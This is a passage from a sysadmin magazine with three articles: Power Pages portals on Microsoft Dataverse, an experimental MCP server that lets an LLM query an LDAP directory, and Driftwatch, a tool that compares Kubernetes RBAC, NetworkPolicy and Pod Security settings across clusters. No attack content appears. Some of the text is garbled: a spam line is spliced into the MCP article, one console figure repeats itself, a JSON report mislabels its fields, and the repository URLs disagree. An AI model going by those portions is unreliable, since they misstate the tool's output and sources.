- [4] Dataverse solutions: [\[https://learn.microsoft.com/en-us/power-apps/developer/data-platform/introduction-solutions\]](https://learn.microsoft.com/en-us/power-apps/developer/data-platform/introduction-solutions)

Author

Nico Thieme has more than 30 years of experience in the IT industry. He specializes in Microsoft Power Platform and Microsoft 365 and works as a trainer and consultant. ■

What?!

I can get my issues SOONER?



Available anywhere, anytime!

Sign up for a digital subscription to improve your admin skills with practical articles on network security, cloud computing, DevOps, HPC, storage and more!


Subscribe to the PDF edition:



Customers in Europe or the United Kingdom (EUR/GBP)
shop.sparkhausmedia.com/shop



Customers in All Other Countries (USD)
shop.linuxnewmedia.com/shop





Power Pages in Microsoft Dataverse

Flying Start

Create dynamic, secure, and data-driven websites on the low-code Power Pages platform with external data from Microsoft Dataverse. By Nico Thiemer

Power Pages, a web-based platform for website development, had been around for years before it started to become popular. Originally only available in Dynamics 365 CRM, Power Pages now has the status of a stand-alone product on the Power Platform. The purpose has remained the same, though: transferring content from Microsoft Dataverse to the Internet and making it available there, either anonymously or with authentication. The appeal lies in the fact that the data you need is often already available in Dataverse or can be easily imported into Dataverse by virtual tables.

Access-Based Licensing

Power Pages has its own licensing system that distinguishes between internal and external visitors. External access by way of the Internet is by people who do not belong to the portal creator's organization. Different license packages are available for these users, depending on whether access to the portal is anonymous. The portal operator can deny anonymous access and only allow authenticated access, which is quite common in practice because it saves money. A separate license is required to authenticate access from the portal operator's tenants, which is often

necessary to manage data in a separate model-driven app. A Dynamics 365 for Customer Engagement license is sufficient in this case, although a Microsoft 365 Power App license is not.

Azure-Based Security

Power Pages is based on the Power Platform and therefore on Microsoft Azure, which means Azure modules such as a web application firewall (WAF), DDoS protection, and other network functions can be used in Power Pages. These services are managed by Microsoft, meaning admins do not have to worry about managing them. A Power Pages portal can have a Development or Production status. Many functions do not become available until the portal transitions to Production. Also important is that, when you create a Power Platform environment, you need to specify a regional storage location for the database. If you select Europe, you can be sure that all data will remain in Europe. Security mechanisms in Power Pages are deeply integrated into the architecture to ensure the protection of sensitive data. The tool uses its own security layer. The security provided in Dataverse with business units and roles is based on a fully authenticated approach, which is not the

case in Power Pages, which manages security itself. Power Pages uses web roles that define what is allowed in a Dataverse table (known as a "list" in Power Pages). You assign these roles to users, and existing security settings in Dataverse are ignored.

The namespace of a Power Pages portal is always `https://<subdomain>.powerappsportals.com`, which means the portal is automatically secured with SSL, with Microsoft taking care of all administration. You can assign your own domain to the portal, in which case you need to take care of certificate management yourself. The entire portal is responsive by default. Additionally, the portal can even be used as a progressive web app (PWA) in multiple ways: as a traditional web app and simultaneously as an app for mobile devices.

Managing Data with Design Studio

Power Pages has a modular structure that enables seamless integration between the front and back ends. At its heart is the user-friendly design studio, which offers drag-and-drop functionality, enabling the design of websites without in-depth programming knowledge. Whenever you create a Power Pages portal and access it for the first time, you are taken to the design studio, where you can create designs, customize the site map, assign rights, and more.

Whenever you make a change in the design studio, the underlying Dataverse is also adjusted. However, to see a preview of these changes and, of course, enable them later in the live version, you first need to synchronize with the *Sync* button in the upper right corner; when pressed, it writes the changes you made from the browser to Dataverse after a short delay. You also need to click this button if you have made changes directly in your Dataverse and want to display them in the design studio or a preview.

Dataverse also lets you integrate external data sources. Virtual tables enable integration with external data [1]. The data is copied from remote systems to Dataverse, where it is treated like a normal Dataverse table, making it possible to leverage data, for example, from a systems, applications, and products (SAP) installation. Power Pages can both process this data and write it back to SAP, but because this method is generally not a good idea, you will probably want to store the new data in a user-defined table in Dataverse and do the processing there. Power BI dashboards and Canvas apps in Power Apps can also be integrated, but be aware of the licenses you will need. If you have these, the technologies mentioned here will boost efficiency considerably. Power Automate automates business processes and lets you launch Power Automate flows when data changes in Dataverse. This ability is not included in Power Pages because data can be changed in many ways in Dataverse. Again, please note the licensing requirements if anonymous users modify

data on the portal. On the other hand, direct Power Pages integration in Power Automate can, for example, let you use a button on the Power Pages portal to send an email message by Power Automate. In this case, you will need to license the flow individually. The model-driven management app lets you manage all aspects of a

portal, not only because the displayed data is stored in Dataverse, but also the portal itself, which includes all source code, images, and so on. For many settings, then, it does not matter whether you manage data in the Power Pages design studio or in the management app. However, changes are often faster from the management app. Don't forget to synchronize your changes in the management app with the design studio. The app is installed automatically and can be found on the Power Pages home screen [2] in the *Apps* section under the *Shared with me* tab.

Liquid [3] supports dynamic handling of content from Dataverse. Of course, JavaScript is also supported on the portal, but it makes accessing Dataverse data very complex. A combination of Liquid and JavaScript usually works: Liquid extracts and filters the data from Dataverse, and JavaScript takes care of the presentation side.

Inviting Users

Visitors with authenticated access are added several ways. The easiest option, although it has been tagged as deprecated by Microsoft, is the Dataverse contact table. Each contact is assigned a login name and password and appropriate web roles, before you can invite them. Special forms are available for both tasks.

Alternatively, you can integrate users with Entra ID, Azure B2C, Microsoft Entra External ID, or any other provider that uses OAuth. Except for Entra ID, which is already integrated, you will need to configure each

provider manually. Please note that full functionality is only available in Production mode.

Quick Start

To test Power Pages, go to the Power Pages home screen and log in with your Entra ID. Make sure you are in the correct environment (Development), which is also useful for testing. To create a new portal, either use Copilot to describe your requirements or work with a template. Creating a portal with Copilot works quite well, but for this example, I start with a blank template to allow for as much customization as possible. Please note that a portal in Developer mode has a limited lifespan. If you do not transfer it to live mode (go live), Microsoft will delete it after a certain period of time. After selecting the template, you must give the portal a name and a URL. Although both can be changed later, you will want to enter mnemonic information now, because all portals are managed simultaneously in the management app. If you have several portals with meaningless names, things quickly become confusing. The design studio appears first. You can get started right away, creating new pages, customizing a design, sharing lists, and more (Figure 1).

Working with Templates

Portal pages comprise various components. You can use page and web templates to create a uniform design for a specific page type and then




Figure 1: Copilot can help you create a portal in the design studio.

reuse them repeatedly. However, you cannot edit these templates in the design studio – only in the management app or in Visual Studio Code, which the management app integrates. When you edit a web template, a dialog box pops up to let you open it in Visual Studio Code, which is always preferable to editing in

Dataverse. Please note that a change to a template affects all pages that are based on that template. In the code, you will find the content enclosed in curly brackets and percent signs, indicating Liquid. Microsoft has extended the language standard to include Dataverse-specific commands. One of the first things you want to do is publish tables on the portal by going to a page in the design studio and adding a *List* type component to the page. Now you need to select the view for each table. You can use an existing view for this step instead of creating a new one. That said, it often makes sense to create your own view for a portal up front (Figure 2). The list display control is created immediately, but you will not see anything except generic sample data. Before clicking the *Preview* button at top right, make sure you click *Sync* to its right.

Assigning Permissions for Data

When the preview appears, you will not find any entries in the list, not even if you are the data owner or admin. As mentioned, the Dataverse security model is not relevant on a Power Pages portal, and you need to assign rights separately. To do so, click on the newly created list in the Power Pages design studio and then on *New permission*. The sections of interest in the pop-up menu that appears are Access type, Permission, and Roles. The effective permissions are calculated from a combination of these three settings. The Access type determines which records the user is

allowed to see. *Global access* includes all records, regardless of who owns them in Dataverse. The alternatives are either data in the table belonging to the visiting user or data available to that user. For example, you could create a column in a table that has a relationship to the contact table. You are shown each record with a cell entry for your user account.

The Permissions setting is self-explanatory and is the same as in Dataverse. Roles are more important. When you click *Add roles*, you can choose from three options that are predefined and automatically assigned to the respective user groups, which means, for example, that every authenticated visitor automatically receives a role of the same name. Armed with this role, *Global access*, and the *Read* permission, the authenticated visitor can access all records in the selected table. These rights do not apply to the selected page, but centrally to the list. Because the rights are adaptive, you do need to exercise some caution. You will not see the data in the preview until you have configured all the permissions and the login is correct. If you want to edit data, you need a form. To begin, create a new page by clicking the *Page* button in the left column of the design studio and add a form by referencing the table and selecting an existing form. In *Data*, you need to define the purpose of the form (e.g., editing data or creating new data). The form cannot have higher permissions than those granted in the table by web roles. Also, keep in mind that synchronizing permissions can take a while.




Figure 2: The preview is not shown in the list form until you have pressed the *Sync* button at top right.

When you open the new page with the form, you will not see anything because the system does not know which data record you want. Tell the system what you want to do by going back to the page showing the list and clicking on the list control; then, select *Edit list* and *Actions* in the following dialog. Now you can select an existing form for the action, and a new column with an action menu appears in the list.

Conclusion

Power Pages portals are a simple, inexpensive, and fast way to process data in Dataverse. Simple portals can be deployed quickly without code, and powerful programming options are available for more complex requirements. Various security mechanisms are available for Dataverse data, as well, and Azure provides more performance if needed. ■

Info

- [1] Virtual tables with external sources: [\[https://learn.microsoft.com/en-us/power-apps/maker/data-platform/create-edit-virtual-entities\]](https://learn.microsoft.com/en-us/power-apps/maker/data-platform/create-edit-virtual-entities)
- [2] Power Pages home screen: [\[https://make.powerapps.com\]](https://make.powerapps.com)
- [3] Liquid: [\[https://learn.microsoft.com/en-us/power-pages/configure/liquid/liquid-overview\]](https://learn.microsoft.com/en-us/power-pages/configure/liquid/liquid-overview)

Author

Nico Thieme has more than 30 years of experience in the IT industry. He specializes in Microsoft Power Platform and Microsoft 365 and works as a trainer and consultant.

Are you looking for in-depth coverage of specific topics?



Our Focus Guides give you a deep dive into topics including:

- ☐ AlmaLinux
- ☐ Open Source Databases
- ☐ Docker
- ☐ Rocky Linux

You get technical articles about each topic, plus interviews with some of the people working behind the scenes.

Browse the Focus Guide Library



Customers in Europe
or the United Kingdom
(EUR/GBP)



Customers in All Other
Countries (USD)

Integrating AI Systems

Common Language

The Model Context Protocol helps standardize and simplify communication between applications and large language models. We take a closer look at the protocol and offer some practical examples. By Thorsten Scherf

The Model Context Protocol (MCP) is an open standard developed to enable seamless integration between large language models (LLMs), applications (tools), and external data sources. Anthropic [1] first announced the protocol back in November 2024 and is therefore officially considered its main developer. At the time of writing this article, version 2025-06-18 of the protocol specification had just been released (version 2025-11-25 has since been released). Anthropic looked to establish the protocol as an open standard from the outset and is working closely with the community to push the protocol's development forward. Besides the GitHub repository [2], the project website has comprehensive documentation of the protocol specification [3].

Standardized Communication

Just as USB created a universal interface that lets any USB device connect to any USB port, eliminating the need for device-specific connectors, MCP creates a standardized way for AI models to connect to different data sources and applications. Before the introduction of USB, each device needed its own proprietary connector.

Similarly, before MCP, developers had to create custom integrations for each combination of AI application and data source.

MCP establishes a standard that lets any compatible client work with any compatible server, which significantly reduces the complexity of integrating AI models, because MCP eliminates the need to develop individual interfaces for different applications. For example, natural language can communicate with a specific application and query data.

Imagine an LDAP server with a large user database. Users need an LDAP client to read the data from the server. For Free Mags Check sastatus.com On a terminal, this typically would be the `ldapsearch` tool. Depending on the type of request, the query can sometimes be complex. With the help of MCP, you can simply send a request in natural language to the LDAP server (e.g., *Show me all the users in the directory* or *Show me all the blocked users in the directory*). MCP is based on a classic client-server model. The MCP server acts as a central interface between a client, an AI model, and the application or service. A server is capable of working with multiple clients in parallel

and forwarding requests. Similarly, a client can communicate with multiple servers.

DirKeeper as an MCP Server

By way of a practical example, I'll look at an experimental MCP server [4] that enables communication with the 389 Directory Server [5] that uses a natural language. Instead of writing complex LDAP queries, you can ask simple questions in natural language, such as *Show me all the users* or *Find the users in the IT department*. You can set up the server in your Python environment with the commands:

```
pip install uv
git clone https://github.com/tscherf/DirKeeper.git
cd DirKeeper
uv venv && uv pip install -r requirements.txt && uv add lib389
```

Ollama [6] is used to facilitate management of the AI models. In this article, I use the Qwen3 LLM [7], which you can easily retrieve from the registry after installing Ollama with:

```
ollama pull qwen3
```


I used the `mcp-cli` terminal tool [8] as the MCP client because it works well for simple tests. If you prefer to use a graphical client instead, Claude Desktop [9], also by Anthropic, is a good choice. You can now easily download the `mcp-cli` software to your system:

```
git clone 2
https://github.com/IBM/mcp-cli.git
```

The MCP client uses the `server_config.json` file for its configuration (Listing 1). For your own tests, you will need to adjust the path to the `uv` package manager and point to the folder where you previously saved the DirKeeper MCP server. You can use environment variables to store the details of your 389 Directory Server. If you do not have a server instance installed, you can run the `ds-create.sh` script from the DirKeeper Git directory to install an instance in a Docker or, optionally, Podman container. If everything worked thus far, you can now send a query to the 389 Directory Server (Figure 1):

```
uv run mcp-cli cmd 2
--provider=ollama 2
--model=qwen3 2
--server dirkeeper 2
--prompt "show me all users"
```

Conclusion

DirKeeper impressively demonstrates the options that the MCP opens as a bridge between LLMs and specialized systems, such as LDAP servers. MCP enables secure communication that is based on natural language without the need to develop software-specific interfaces. Because plenty of MCP servers are already available for a wide variety of applications, administrators and developers can give their creativity free rein.

If this article made you curious as to the applications and tools for which MCP servers are already available, take a look at the MCP.so third-party marketplace [11], where you will find an up-to-date list of MCP server implementations. At press time, more than 15,000 MCP implementations were already available. ■■■

Info

- [1] Anthropic: [\[https://www.anthropic.com\]](https://www.anthropic.com)
- [2] MCP GitHub repository: [\[https://github.com/modelcontextprotocol\]](https://github.com/modelcontextprotocol)
- [3] MCP documentation: [\[https://modelcontextprotocol.io/docs/getting-started/intro\]](https://modelcontextprotocol.io/docs/getting-started/intro)
- [4] DirKeeper MCP Server: [\[https://github.com/tscherf/DirKeeper\]](https://github.com/tscherf/DirKeeper)
- [5] 389 Directory Server: [\[https://www.port389.org\]](https://www.port389.org)
- [6] Ollama: [\[https://ollama.com\]](https://ollama.com)
- [7] Qwen3 LLM: [\[https://ollama.com/library/qwen3\]](https://ollama.com/library/qwen3)
- [8] MCP CLI client: [\[https://github.com/IBM/mcp-cli\]](https://github.com/IBM/mcp-cli)
- [9] Claude Desktop: [\[https://claude.com/product/overview\]](https://claude.com/product/overview)
- [10] FastMCP framework: [\[https://github.com/PrefectHQ/fastmcp\]](https://github.com/PrefectHQ/fastmcp)
- [11] MCP server list: [\[https://mcp.so\]](https://mcp.so)

Listing 1: server_config.json

```
### Use a JSON file to store information about the MCP
server and your 389 Directory Server instance.
{
  "mcpServers": {
    "dirkeeper": {
      "command": "/Users/tscherf/.local/bin/uv",
      "args": [
        "--directory",
        "/Users/tscherf/git/389-mcp/DirKeeper",
        "run",
        "server.py"
      ],
      "env": {
        "LDAP_URL": "ldap://localhost:43399",
        "LDAP_BASE_DN": "dc=example,dc=com",
        "LDAP_BIND_DN": "cn=Directory Manager",
        "LDAP_BIND_PASSWORD": "password"
      }
    }
  }
}
```

The Author

Thorsten Scherf is the global Product Lead for Identity Management and Platform Security in Red Hat's Product Operations group. He is a regular speaker at various international conferences and writes a lot about open source software.



```
# uv run mcp-cli cmd --provider=ollama --model=qwen3 --server dirkeeper --prompt "show me all users"
/ MCP CLI ready
<think>
Okay, the user asked to show all users. I used the list_all_users function with the default limit of 50. The response came back with two entries. Let me check what's in there.

First, the JSON has a content array with one text item. The text is a JSON object representing the user list. There are two items in the items array. The first user is demo_user, which is locked. The second is tscherf, which is active.

I need to present this information clearly. Let me list each user with their details. For each entry, I'll mention the DN, UID, CN, and their status. Also, note if they're locked or active. The user might want to know the key attributes, so I'll highlight the important ones like home directory and login shell, especially for the locked account.

Wait, the first user has a login shell of /bin/false, which indicates they might not be a regular user. The second has a home directory, so they're probably a regular user. I should mention that. Also, the status parameters show creation and modification dates. Maybe the user is interested in when these accounts were created.

I should structure the response to first list each user with their details and status, then summarize the key points. Make sure it's easy to read, maybe bullet points for each user. Avoid technical jargon but include necessary info. Check if the user needs more details beyond what's provided.
</think>

Here are the users retrieved from the directory:

1. **demo_user**
- **DN**: 'uid=demo_user,ou=people,dc=example,dc=com'
- **Status**: Locked
- **Key Attributes**:
  - UID: 'demo_user'
  - Full Name: Demo User
  - Home Directory: '/var/empty'
  - Login Shell: '/bin/false'
  - Created: July 11, 2025
  - Last Modified: July 11, 2025

2. **tscherf**
- **DN**: 'uid=tscherf,ou=people,dc=example,dc=com'
- **Status**: Active
- **Key Attributes**:
  - UID: 'tscherf'
  - Full Name: Thorsten Scherf
  - Home Directory: '/home/tscherf'
  - Created: July 11, 2025
  - Last Modified: July 11, 2025

The response included 2 users (out of a potential 50). The 'demo_user' account is locked, while 'tscherf' is active and configured for regular use. Let me know if you'd like to filter by status or explore specific attributes!
```

Figure 1: Even though the DirKeeper MCP server is still in its early stages, the software – developed with the FastMCP framework [10] – clearly demonstrates MCP's capabilities and its advantages.

Checking Kubernetes Security Drift

Against the Current

Learn how to detect and eliminate security drift across Kubernetes clusters. By Harshal Purohit, Nakka Hrushikesh, and Dr. B. Thangaraju

When you run multiple Kubernetes (K8s) clusters (e.g., production, staging, disaster recovery), you expect them to enforce the same security controls. But do they? Emergency fixes, temporary permission grants, and one-off exceptions slowly cause clusters to diverge. Driftwatch is a lightweight, open source command-line interface (CLI) tool that catches these security discrepancies before they lead to incidents or audit failures.

Security Drift in Multicloud Environments

Consider a scenario where a deployment issue arises on a Friday afternoon. A service account is granted elevated permissions as a quick fix, but those permissions are never revoked. Meanwhile, in another cluster, a developer modifies a NetworkPolicy to resolve a connectivity issue and forgets to revert the change. These seemingly minor actions accumulate over time – a phenomenon known as security drift – leaving clusters in a less secure state than intended [1]. Most tools look at each cluster separately. They check whether a cluster is following practices, but they do not check whether your production and

disaster recovery clusters have the same security controls. That's where Driftwatch comes in.

Driftwatch

Instead of comparing static configuration files, Driftwatch evaluates how clusters behave across three areas:

- **Role-based access control (RBAC) authorization:** Check the permissions that each user or service account has and compare them across clusters.

- **NetworkPolicy segmentation:** Examine the NetworkPolicies in each cluster and check whether they allow the same traffic [2].

- **Namespace-level Pod Security Admission (PSA):** Inspect the security labels applied to each namespace and flag any differences between clusters [3].

Driftwatch operates in two modes by either comparing two clusters directly or comparing a cluster against a saved snapshot or baseline. The output is easy to understand and can be used in automation pipelines.

Under the Hood

Figure 1 shows the high-level architecture. Driftwatch uses a modular




Figure 1: Driftwatch's modular pipeline: collect, normalize, compare, and report (NP and NetPol = NetworkPolicy).

Photo by Bob Jenkin on Unsplash

pipeline with four stages: collection, normalization, comparison, and reporting. Each stage is independent, meaning you can extend Driftwatch to cover additional security controls without changing the core comparison logic.

During the collection phase, Driftwatch systematically acquires security configuration data from active cluster environments or from previously exported configuration artifacts. In the subsequent normalization phase, the system refines this data by filtering out variations that do not influence cluster behavior, thereby ensuring analytical consistency. The comparison phase then performs a precise evaluation to detect significant deviations across cluster states. Finally, in the reporting phase, Driftwatch compiles its findings into a structured and actionable report, enabling administrators to assess and address configuration drift efficiently.

When to Use Driftwatch

Driftwatch is most useful when it is run regularly rather than as a one-time check. Various scenarios can yield good results:

- Before security audits: Verify that all clusters enforce the same security controls before an audit.
- Before disaster recovery testing: Catch any hidden permission gaps or policy differences that could cause problems.

- After emergency fixes: Detect any changes that were never rolled back.
- As a continuous integration and continuous delivery (CI/CD) gate: Block deployments that would introduce security problems.
- In GitOps pipelines: Compare your cluster state to your declared intent in Git.

Driftwatch in Action

Each example represents a real-world situation that administrators encounter in multicloud Kubernetes environments.

Example 1: NetworkPolicy Drift – Widened Network Access

Both cluster A and cluster B are expected to enforce identical network security rules. In the `team-a` namespace, cluster A has two NetworkPolicies: a default `deny-all` policy that blocks all traffic and a selective policy that permits only the front-end service to communicate

with API services. Cluster B has the same two policies, but an additional policy called `allow-all-frontend` is introduced (Figure 2). This new policy allows the front end to communicate with many more services than intended, making the network access much broader.

Because of this extra policy, cluster B is less secure than cluster A, although they were supposed to be configured in the same way. Driftwatch detects this difference and reports it as security drift, meaning the clusters have drifted away from the intended identical security configuration.

Example 2: PSA Drift – Weaker Namespace Posture

PSA labels on namespaces decide what type of pods are allowed to run and what security restrictions they must follow [3], so if two clusters have different PSA labels, the same application may run with different security rules in each cluster. In Figure 3, cluster A uses the restricted PSA profile, which is the most secure

```
PS C:\Users\Hrush\driftwatch> kubectl --kubeconfig "C:\Users\Hrush\.kube\config-a.yaml" \
>> get networkpolicy -n team-a
NAME                                POD-SELECTOR  AGE
allow-frontend-to-api              app=api       30m
deny-all                          <none>        30m
PS C:\Users\Hrush\driftwatch> kubectl --kubeconfig "C:\Users\Hrush\.kube\config-b.yaml" \
>> get networkpolicy -n team-a
NAME                                POD-SELECTOR  AGE
allow-all-frontend                app=frontend  16m
allow-frontend-to-api              app=api       30m
deny-all                          <none>        30m
PS C:\Users\Hrush\driftwatch>
```

Figure 2: Driftwatch detects that cluster B allows more network traffic than cluster A.

```
PS C:\Users\Hrush\driftwatch> kubectl --kubeconfig "C:\Users\Hrush\.kube\config-a.yaml" \
>> get ns team-a --show-labels
NAME    STATUS  AGE  LABELS
team-a  Active  80m  driftwatch.role=baseline,driftwatch.scenario=psa-baseline-team-a-restricted,kubernetes.io/metadata.name=team-a,pod-security.kubernetes.io/enforce-version=latest,pod-security.kubernetes.io/enforce=restricted
PS C:\Users\Hrush\driftwatch> kubectl --kubeconfig "C:\Users\Hrush\.kube\config-b.yaml" \
>> get ns team-a --show-labels
NAME    STATUS  AGE  LABELS
team-a  Active  81m  driftwatch.cluster=b,driftwatch.scenario=psa-weaken-team-a,kubernetes.io/metadata.name=team-a,pod-security.kubernetes.io/enforce-version=latest,pod-security.kubernetes.io/enforce=baseline
PS C:\Users\Hrush\driftwatch>
```

Figure 3: A namespace enforces “restricted” PSA in one cluster but only “baseline” in another.

setting and blocks risky pod configurations; cluster B uses the baseline profile, which is less strict and allows more types of pods.

Because of this difference, a workload running in cluster B could use configurations that would not be allowed in cluster A, which means the clusters are not enforcing the same security level, resulting in security drift between the clusters. This mismatch weakens workload isolation in cluster B. Containers there gain privileges blocked in cluster A.

Example 3: RBAC Drift – Missing Operational Permissions

RBAC determines who can access what resources and actions in a cluster. RBAC drift happens when the permissions in a cluster slowly change over time and become different from the original intended configuration (Figure 4). In many cases when teams face deployment issues, they temporarily increase the permissions to make things work faster. However, after the

problem is solved, these extra permissions are rarely reviewed or removed. As a result, users or services keep more access than they actually need. This situation is considered dangerous because excessive privileges remain in the system, which increases the risk of misuse or security breaches.

Example 4: RBAC Security Drift – Unexpected Cluster-Wide Access

In this scenario (Figure 5), Driftwatch is checking the permissions of a service account called `sa-frontend` to see whether it can access cluster-wide resources, such as Kubernetes nodes. In cluster A, the configuration is correct, and the service account is not allowed to view these cluster-level resources. In cluster B, however, the same service account is allowed access.

This example shows that the permissions in cluster B are more permissive than they should be. Because the clusters were supposed to have the same security configuration, this difference

is called RBAC security drift. Allowing a service account in one namespace to see cluster-wide resources in a multitenant cluster is risky because it gives that component more power and visibility than necessary. Driftwatch detects this hidden difference and reports it so administrators can fix the excessive permission.

The Consolidated Drift Report

When Driftwatch compares two clusters, it generates a single report that combines findings from all three security areas (Figure 6). This report shows one consistent view of security differences between clusters – no need to run separate tools for RBAC, NetworkPolicies, and PSA and then try to correlate the results yourself. Driftwatch generates its results in JSON format, a structured data format that computers read and process easily (Figure 7). Therefore, the output can be used directly in CI/CD pipelines, compliance tools, or

```
PS C:\Users\Hrush\driftwatch> kubectl --kubeconfig "C:\Users\Hrush\.kube\config-a.yaml" `
>> auth can-i delete deployments `
>> -n team-a `
>> --as system:serviceaccount:team-a:sa-ops
yes
PS C:\Users\Hrush\driftwatch> kubectl --kubeconfig "C:\Users\Hrush\.kube\config-b.yaml" `
>> auth can-i delete deployments `
>> -n team-a `
>> --as system:serviceaccount:team-a:sa-ops
no
PS C:\Users\Hrush\driftwatch>
```

Figure 4: A service account has delete permissions in one cluster but not the other.

```
PS C:\Users\Hrush\driftwatch> kubectl --kubeconfig "C:\Users\Hrush\.kube\config-a.yaml" `
>> auth can-i get nodes `
>> --as system:serviceaccount:team-a:sa-frontend
Warning: resource 'nodes' is not namespace scoped

no
PS C:\Users\Hrush\driftwatch> kubectl --kubeconfig "C:\Users\Hrush\.kube\config-b.yaml" `
>> auth can-i get nodes `
>> --as system:serviceaccount:team-a:sa-frontend
Warning: resource 'nodes' is not namespace scoped

yes
PS C:\Users\Hrush\driftwatch>
```

Figure 5: A service account has unexpected cluster-wide read access in one cluster.

security monitoring systems without manual work.

The JSON report contains detailed information about security drift across different areas of the cluster and shows whether any users or service accounts have too many permissions (overprivileged) or too few permissions (underprivileged). It also highlights differences in NetworkPolicies and PSA configurations between clusters.

You can add Driftwatch to your CI/CD pipeline as a quality gate. If the JSON output contains any drift items, you should fail the pipeline and require an administrator to review and approve the changes before deployment proceeds.

How Driftwatch Evaluates RBAC

Driftwatch is designed to be simple and requires very little setup. Prerequisites are the Go toolchain and one or more KUBECONFIG variables with read access to RBAC and NetworkPolicies (and namespaces).

Available on GitHub [4], you can start using Driftwatch by cloning the repository, navigating into the directory, and building from source:

```
git clone 2
https://github.com/Hrush-driftwatch.git
cd driftwatch
go build -o driftwatch ./cmd/driftwatch
```

Alternatively, use

```
chmod +x driftwatch
```

if prebuilt binaries are available.

Driftwatch End-to-End

To use Driftwatch effectively in a real environment, begin by identifying two clusters to compare (e.g., production and staging); then, begin the workflow by verifying the installation, ensuring Kubernetes contexts are configured, and running and saving a comparison:

```
./driftwatch --help
kubectl config get-contexts
```

```
./driftwatch compare 2
--context-a prod-cluster 2
--context-b staging-cluster 2
-o report.json
```

Note that added permissions can lead to potential security risks, missing permissions are possible operational failures, and behavioral differences can cause inconsistent cluster enforcement. When reviewing the output,

look for RBAC drift by checking for overprivileged service accounts, look for NetworkPolicy drift by verifying unintended open traffic paths, and look for PSA drift by ensuring consistent namespace security levels.

To take corrective action, remove unnecessary permissions from service accounts, fix overly permissive NetworkPolicies, and align namespace PSA labels across clusters. Now, rerun

```
PS C:\Users\Hrush\driftwatch> .\driftwatch.exe -
>> -mode cluster-compare -
>> -kubeconfig-a "C:\Users\Hrush\.kube\config-a.yaml" -
>> -kubeconfig-b "C:\Users\Hrush\.kube\config-b.yaml" -
>> -drift-type both -
>> -output text
>>
Mode: cluster-compare (cluster A vs cluster B)
Cluster A kubeconfig: C:\Users\Hrush\.kube\config-a.yaml
Cluster B kubeconfig: C:\Users\Hrush\.kube\config-b.yaml
Drift type: both
Ignore system: true

RBAC drift: subjects with extra permissions in live vs baseline (1 subjects):

Subject: ServiceAccount team-a/sa-frontend
Extra permissions vs baseline:
- [cluster-wide] verb=* nonResourceURL=*
- [cluster-wide] verb=* resource=*. resourceName=*

RBAC drift: subjects with missing permissions in live vs baseline (1 subjects):

Subject: ServiceAccount team-a/sa-ops
>> -drift-type both -
>> -output text
>>
Mode: cluster-compare (cluster A vs cluster B)
Cluster A kubeconfig: C:\Users\Hrush\.kube\config-a.yaml
Cluster B kubeconfig: C:\Users\Hrush\.kube\config-b.yaml
Drift type: both
Ignore system: true

RBAC drift: subjects with extra permissions in live vs baseline (1 subjects):

Subject: ServiceAccount team-a/sa-frontend
Extra permissions vs baseline:
- [cluster-wide] verb=* nonResourceURL=*
- [cluster-wide] verb=* resource=*. resourceName=*

RBAC drift: subjects with missing permissions in live vs baseline (1 subjects):

Subject: ServiceAccount team-a/sa-ops
Drift type: both
Ignore system: true

RBAC drift: subjects with extra permissions in live vs baseline (1 subjects):

Subject: ServiceAccount team-a/sa-frontend
Extra permissions vs baseline:
- [cluster-wide] verb=* nonResourceURL=*
- [cluster-wide] verb=* resource=*. resourceName=*

RBAC drift: subjects with missing permissions in live vs baseline (1 subjects):

Subject: ServiceAccount team-a/sa-ops
- [cluster-wide] verb=* nonResourceURL=*
- [cluster-wide] verb=* resource=*. resourceName=*

RBAC drift: subjects with missing permissions in live vs baseline (1 subjects):

Subject: ServiceAccount team-a/sa-ops
```

Figure 6: A single Driftwatch report covering RBAC, NetworkPolicy, and PSA drift.

Driftwatch to confirm that the drift is resolved; optionally, save a baseline for future comparisons and use baseline in CI/CD:

```
./driftwatch compare 2
--context-a prod-cluster 2
-o baseline.json
./driftwatch compare 2
--context-a prod-cluster 2
--baseline baseline.json
```

This workflow helps teams continuously detect and eliminate security drift instead of treating it as a one-time audit task.

Conclusion

Security configurations in different environments can slowly become different over time. Driftwatch helps detect these differences so you can keep production, staging, and recovery clusters consistent and secure. ■

Info

- [1] Souppaya, Murugiah, John Morello, and Karen Scarfone. Application Container Security Guide. NIST Special Publication 800-190, 2017: [\[https://doi.org/10.6028/NIST.SP.800-190\]](https://doi.org/10.6028/NIST.SP.800-190)
- [2] Calico network policy documentation: [\[docs.tigera.io/calico/latest/network-policy\]](https://docs.tigera.io/calico/latest/network-policy)
- [3] Kubernetes pod security standards: [\[kubernetes.io/docs/concepts/security/pod-security-standards\]](https://kubernetes.io/docs/concepts/security/pod-security-standards)
- [4] Driftwatch on GitHub: [\[https://github.com/Hru-s/driftwatch\]](https://github.com/Hru-s/driftwatch)

Author

Nakka Hrushikesh is a postgraduate student in Computer Science and Engineering at IIIT-B. His academic and research interests include cloud computing, back-end development, containerization, Kubernetes, distributed systems, and scalable application architectures.



Author

Harshal Purohit is a postgraduate student in Computer Science and Engineering at the International Institute of Information Technology Bangalore (IIIT-B). His academic and research interests include Linux systems, low-level programming, Kubernetes, distributed system architecture, DevOps methodologies, and cloud-native technologies.



Author

Dr. B. Thangaraju is a Professor at IIIT-B. His areas of expertise include distributed systems, cloud-native infrastructure, Kubernetes performance engineering, and scalable software architectures. He has led several academic and industry-collaborative research initiatives focused on container orchestration, microservices, and edge computing.



```
1  {
2    "mode": "cluster-compare (cluster A vs cluster B)",
3    "driftType": "both",
4    "ignoreSystem": true,
5    "subjectKind": "All",
6    "subjectName": "",
7    "subjectNamespace": "",
8    "rbac": {
9      "extra": [
10       {
11         "subject": {
12           "kind": "ServiceAccount",
13           "name": "sa-frontend",
14           "namespace": "team-a",
15         },
16         "permissions": [
17           {
18             "scopeNamespace": "",
19             "apiGroup": "",
20             "resource": "",
21             "resourceName": "",
22             "verb": "*",
23             "nonResourceUrl": "*"
24           },
25           {
26             "scopeNamespace": "",
27             "apiGroup": "",
28             "resource": "*",
29             "resourceName": "*",
30             "verb": "*"
31           }
32         ]
33       }
34     ],
35     "missing": [
36       {
37         "subject": {
38           "kind": "ServiceAccount",
39           "name": "sa-ops",
40           "namespace": "team-a",
41         },
42         "permissions": [
43           {
44             "scopeNamespace": "team-a",
45             "apiGroup": "apps",
46             "resource": "deployments",
47             "resourceName": "*",
48             "verb": "delete"
49           }
50         ]
51       }
52     ],
53     "networkPolicy": {
54       "extra": [
55         {
56           "namespace": "team-a",
57           "baseline": "restricted",
58           "live": "baseline",
59           "driftType": "weaker"
60         }
61       ]
62     },
63     "psa": {
64       "drift": [
65         {
66           "namespace": "team-a",
67           "baseline": "restricted",
68           "live": "baseline",
